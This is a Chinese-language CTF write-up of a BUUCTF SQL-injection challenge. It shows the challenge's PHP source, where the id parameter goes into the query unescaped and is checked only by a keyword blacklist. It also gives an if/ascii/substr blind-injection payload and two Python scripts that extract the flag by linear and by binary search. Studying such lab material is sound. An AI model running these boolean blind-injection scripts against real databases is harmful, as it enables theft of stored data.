输入1时:返回Hello, glzjin wants a girlfriend.
输入2时:Do you want to be my girlfriend?
输入1%2时也会回显:Hello, glzjin wants a girlfriend.
输入其他数值时返回error
然后不会做了,怎么写都是错,后来看了一个大佬后来的题解,然后看到源代码是如下的:
其中题的一句话很重要Now, just give the id of passage,只需要给出id,即注入应该是数字型的注入。
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
解题思路:
用字符串截断函数,把每个字符截断出来。如果当前字符等于某个字符,返回1,否则返回2。
比如: 截取到了flag中的第一个字符f时,从ascii码表里爆破 , f =a 返回 2 , f = f 返回1
sql的三目运算:
if( 表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3
sql的ascii(str) 函数:
其执行方式:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
下面是我蛇皮的脚本循环跑了几千次才跑出flag,最下面给出一个大佬用二分法跑的,比我的快好多倍。
import requests
url = "http://1e724a0e-4db3-441e-91a7-1a1b8bafc9cb.node3.buuoj.cn/index.php";
result = ""
num=0 #用了来判断是不是flag已经拼完整了
for i in range(1,60):
if num == 1:
break
for j in range(32,128):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
#print(str((i-1)*96+j-32)+":~"+payload+"~")
data = {
"id":payload,
}
r = requests.post(url,data=data)
r.encoding = r.apparent_encoding
if "Hello" in r.text:
x = chr(j)
result+=str(x)
print(result)
break
if "}" in result:
print(result)
num=1
break
下面的连接是大佬二分法跑flag的脚本,他用的tab代替空格没有用小括号,详情请参考下面的链接。
大佬博客: https://www.cnblogs.com/kevinbruce656/p/11342580.html
import requests
import time
#url是随时更新的,具体的以做题时候的为准
url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'
data = {"id":""}
flag = 'flag{'
i = 6
while True:
#从可打印字符开始
begin = 32
end = 126
tmp = (begin+end)//2
while begin<end:
print(begin,tmp,end)
time.sleep(1)
data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
r = requests.post(url,data=data)
if 'Hello' in r.text:
begin = tmp+1
tmp = (begin+end)//2
else:
end = tmp
tmp = (begin+end)//2
flag+=chr(tmp)
print(flag)
i+=1
if flag[-1]=='}':
break